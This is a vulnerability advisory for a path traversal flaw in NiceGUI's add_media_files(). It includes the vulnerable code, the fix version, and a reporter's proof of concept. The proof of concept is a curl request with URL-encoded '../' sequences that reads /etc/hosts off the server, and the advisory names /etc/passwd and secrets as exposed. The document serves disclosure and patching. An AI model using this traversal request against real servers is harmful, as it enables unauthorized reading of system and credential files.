PYSEC-2026-1700
NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Quick fix
PYSEC-2026-1700 — nicegui: upgrade to the fixed version with the command below.
pip install --upgrade 'nicegui>=3.4.0'Details
### Summary
A directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.
### Details
Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.
The `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.
```python def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None: @self.get(url_path.rstrip('/') + '/{filename:path}') def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response: filepath = Path(local_directory) / filename if not filepath.is_file(): raise HTTPException(status_code=404, detail='Not Found') return get_range_response(filepath, request, chunk_size=nicegui_chunk_size) ``` Root Cause: 1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`. 2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory. 3. There is no path sanitization or boundary check.
Consequence: An attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.
### POC 1. Create `poc.py`: ```python # poc.py from pathlib import Path from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / 'media' MEDIA_DIR.mkdir(exist_ok=True)
# Expose local "media" directory at /media app.add_media_files('/media', MEDIA_DIR)
@ui.page('/') def index(): ui.label('NiceGUI media PoC')
ui.run(port=8080, reload=False) ```
2. Run the application: `python3 poc.py`
3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks. ```curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"```
### Result: The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.
I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.
<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />
### Impact
Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:
•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)
This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.
Thank you.
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Affected packages
References
- https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-66645[ADVISORY]
- https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9[WEB]
- https://github.com/zauberzeug/nicegui[PACKAGE]
- https://pypi.org/project/nicegui[PACKAGE]
- https://github.com/advisories/GHSA-hxp3-63hc-5366[ADVISORY]